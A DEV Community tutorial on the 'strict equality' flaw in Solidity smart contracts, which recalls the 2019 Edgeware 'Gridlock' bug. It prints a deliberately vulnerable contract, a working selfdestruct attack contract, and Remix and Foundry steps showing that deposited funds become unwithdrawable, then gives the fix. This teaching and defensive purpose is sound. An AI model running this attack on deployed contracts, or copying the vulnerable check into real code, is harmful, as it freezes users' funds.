DEV Community

Cover image for Exploiting Smart Contracts - Strict Equality
Jason Schwarz
Jason Schwarz

Posted on

Exploiting Smart Contracts - Strict Equality

This guide covers the dangerous-strict-equalities attack vector, providing detailed setup instructions, code examples, execution steps, and crucial mitigation strategies.

Introduction

A notable moment in the history of this vulnerability occurred on July 1st, 2019. On this date, a denial-of-service (DoS) vulnerability known as "Gridlock" was disclosed. This bug was discovered in an Ethereum smart contract deployed on Edgeware, which managed up to $900 million worth of Ether.

  • Acknowledgment: Edgeware promptly acknowledged the bug.
  • Resolution: They addressed it in a commit.

For an in-depth understanding, I highly recommend reading the linked report, which offers an excellent explanation of this attack vector.

Understanding the Dangerous Strict Equalities Vector

The dangerous-strict-equalities vector demonstrates how seemingly minor issues can lead to significant risks. By incorporating strict equality (==) within an assert statement, a contract can become vulnerable to a denial-of-service attack like "Gridlock."

Example Code

You can find the code for demonstration purposes here. Feel free to ⭐️ the repository to bookmark it for future reference.

The Vulnerable Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract VulnerableContract {

    uint256 private totalDeposited;

    function deposit() external payable {
        require(msg.value > 0, "Deposit amount must be greater than zero");

        totalDeposited += msg.value;
    }

    function withdrawAll() external {
        assert(address(this).balance == totalDeposited);

        totalDeposited = 0;    
        payable(msg.sender).transfer(address(this).balance);
    }


    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getTotalDeposited() external view returns (uint256) {
        return totalDeposited;
    }
}

Enter fullscreen mode Exit fullscreen mode

Above, we have the VulnerableContract, which permits depositing and withdrawing funds. Note: This contract is for educational purposes only and has not been audited. It is not suitable for production use.

With that in mind, let’s continue.

The Challenge

In this section, we will play the role of an attacker and intentionally attempt to gridlock the VulnerableContract. You succeed if, after your attack, the funds are no longer able to be withdrawn.

If you feel confident, pause here and try to exploit the contract based on the information provided above.

For those who need more guidance, let's delve deeper into the details.


How the Attack Works

To gridlock the VulnerableContract, our goal is to force it to accept Ether in a way that disrupts its normal operation. Here are two common methods to achieve this:

1. Fallback Function

If the contract has a payable fallback function (receive() external payable), you can send Ether directly to the contract's address, triggering this function.

contract Attacker {
    address payable vulnerableContract = 0x123...

    // Send Ether directly to the VulnerableContract
    function forceSendEther() external payable {
        // Send Ether to the contract address
        vulnerableContract.transfer(msg.value);
    }
}

Enter fullscreen mode Exit fullscreen mode

2. Payable Function

If the contract has a specific payable function that accepts Ether, you can call this function and send Ether along with the transaction.

contract Attacker {
    address payable vulnerableContract = 0x123...;

    // Call a payable function on the VulnerableContract
    function forceSendEther() external payable {
        // Call the payable function with Ether
        (bool success, ) = vulnerableContract.call{value: msg.value}("");
        require(success, "Failed to send Ether");
    }
}
Enter fullscreen mode Exit fullscreen mode

However, our VulnerableContract lacks a fallback function. Although the deposit function is marked as payable, it cannot be used for our attack. This is because the contract updates both its balance and the totalDeposited state variable during the execution of the deposit function.

To successfully gridlock this contract, we need to create a mismatch between the contract’s balance and its totalDeposited value. We will achieve this using a method called selfdestruct.

What is selfdestruct?

The selfdestruct(address payable recipient) function in Solidity performs the following actions:

  1. Immediate Ether Transfer: It transfers the contract’s remaining Ether balance directly to the specified recipient address.
  2. Irreversibility: Once invoked, selfdestruct permanently removes the contract, including all associated bytecode and state, from the blockchain. The contract cannot be restored or reactivated.
  3. Storage Clearance: The contract’s storage is cleared, which helps free up space on the blockchain and reduces the cost of future transactions involving the destroyed contract address.
  4. Gas Refund: It refunds a portion of the gas used for the transaction, incentivizing the removal of contracts that are no longer in use.

Warning: "selfdestruct" has been deprecated. Note that, starting from the Cancun hard fork, the underlying opcode no longer deletes the code and data associated with an account and only transfers its Ether to the beneficiary, unless executed in the same transaction in which the contract was created


Attack Contract Code

The attack contract is designed to exploit the target contracts vulnerability:

contract Attack {
    VulnerableContract public target;

    constructor(address _target) {
        target = VulnerableContract(_target);
    }

    receive() external payable { }

    function attack() external payable {
        selfdestruct(payable(address(target)));
    }
}
Enter fullscreen mode Exit fullscreen mode

Attack Steps and Explanation

1. Deploy the Attack Contract

  • Step: Deploy the Attack contract and provide the Target contract's address to its constructor.
  • Purpose: To enable the Attack contract to interact with the Target contract.

2. Perform the Attack

  • Step: Call the attack function with a transaction value of 1 wei.
  • Code: selfdestruct(payable(address(target)));
  • Purpose: To send Ether directly to the Target contract without invoking any specific function.

3. Verify the Target Contract's Balance

  • Step: Call the getBalance and getTotalDeposited functions.
  • Purpose: To confirm that the balance of the Target contract differs from its internal totalDeposited state, indicating a successful attack.

4. Attempt to Withdraw Funds

  • Step: Call the withdrawAll function of the Target contract.
  • Code: target.withdrawAll();
  • Purpose: To verify whether the Target contract's funds have been gridlocked, making withdrawal impossible.

Try It on Remix

Deploy and interact with the contracts on Remix IDE to observe how the strict equality attack works in practice. You can use this direct link to load the code into Remix: Load on Remix.

Target Contract Deployment:

  1. Use a dedicated wallet and deploy the VulnerableContract contract.
  2. Deposit 50 ETH using the deposit method.
  3. Verify the contract balance is 50 ETH.

Attack Contract Deployment:

  1. Copy the address of the VulnerableContract
  2. Set msg.value to 1 wei
  3. Use a dedicated wallet and deploy the Attack contract passing in the parameter.
  4. Call the attack method.

Confirm the results

  1. Check the contract balance with getbalance
  2. Check the value of totalDeposited with getTotalDeposited
  3. Ensure that a mismatch is present
  4. Attempt to withdraw all the funds.



Running Unit Tests

If Remix isn't your preferred tool, you can achieve the same results by running the tests using Foundry.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "forge-std/Test.sol";
import {VulnerableContract, Attack} from "../src/StrictEquality.sol";

contract VulnerableContractTest is Test {
    VulnerableContract private vulnerableContract;
    Attack private attackContract;

    function setUp() public {
        vulnerableContract = new VulnerableContract();
        attackContract = new Attack(address(vulnerableContract));
    }


    function testAttack() public {
        // Deposit 1 Ether to the VulnerableContract
        uint256 initialDeposit = 1 ether;
        vm.deal(address(this), initialDeposit);
        vulnerableContract.deposit{value: initialDeposit}();

        // Check initial balances
        assertEq(vulnerableContract.getBalance(), initialDeposit);
        assertEq(vulnerableContract.getTotalDeposited(), initialDeposit);

        // Fund the Attack contract
        uint256 attackFunds = 1 ether;
        vm.deal(address(attackContract), attackFunds);

        // Verify that the Attack contract has the correct balance
        assertEq(address(attackContract).balance, attackFunds);

        attackContract.attack();

          // VulnerableContract now has 2 Ether, 
          // but totalDeposited is still 1 Ether
        assertEq(vulnerableContract.getBalance(), initialDeposit + attackFunds);
        assertEq(vulnerableContract.getTotalDeposited(), initialDeposit);

        // Attempt to withdraw all funds (should fail)
        vm.expectRevert();
        vulnerableContract.withdrawAll();
    }
}
Enter fullscreen mode Exit fullscreen mode

Follow these steps:

Install Foundry: If you don't have Foundry installed, follow the installation guide.

git clone https://github.com/passandscore/web3-blogs.git
cd blog-data/8
forge build
forge test -vvvv
Enter fullscreen mode Exit fullscreen mode

We utilize the -vvvv flag to significantly increase verbosity in log traces, which is crucial for thoroughly examining and verifying the success of our attack. While navigating through these detailed logs may appear challenging at first, engaging with this practice is highly beneficial.

Image description


Mitigation Measures

To protect yourself from this attack vector, due diligence in incorporating strict equalities is essential. In our example, we can address the issue by implementing the same approach that Edgeware used: replacing the strict equality check with >= (greater than or equal to). This adjustment helps prevent gridlock and ensures the safety of user funds.

Edgware Resolution Commit

As demonstrated, it is possible to create unit tests to detect this attack vector, but this requires advanced techniques. Often, unit test coverage might be insufficient because exploits tend to introduce edge cases that may not have been considered. Therefore, it is crucial to ensure that all code intended for deployment undergoes a comprehensive audit by a reputable security firm. Proper auditing helps identify vulnerabilities and ensures the robustness of your smart contracts against potential attacks.


Summary

Congratulations on reaching this point! Armed with this knowledge, you now have the tools to identify and defend against strict-equality attacks.

This tutorial has demonstrated the mechanics of a strict-equality attack by exploiting the vulnerability in the VulnerableContract. It underscores the critical importance of secure coding practices and emphasizes the necessity of both comprehensive unit tests and thorough security audits to safeguard smart contracts against such vulnerabilities.

Resources

Connect with me on social media:

Top comments (0)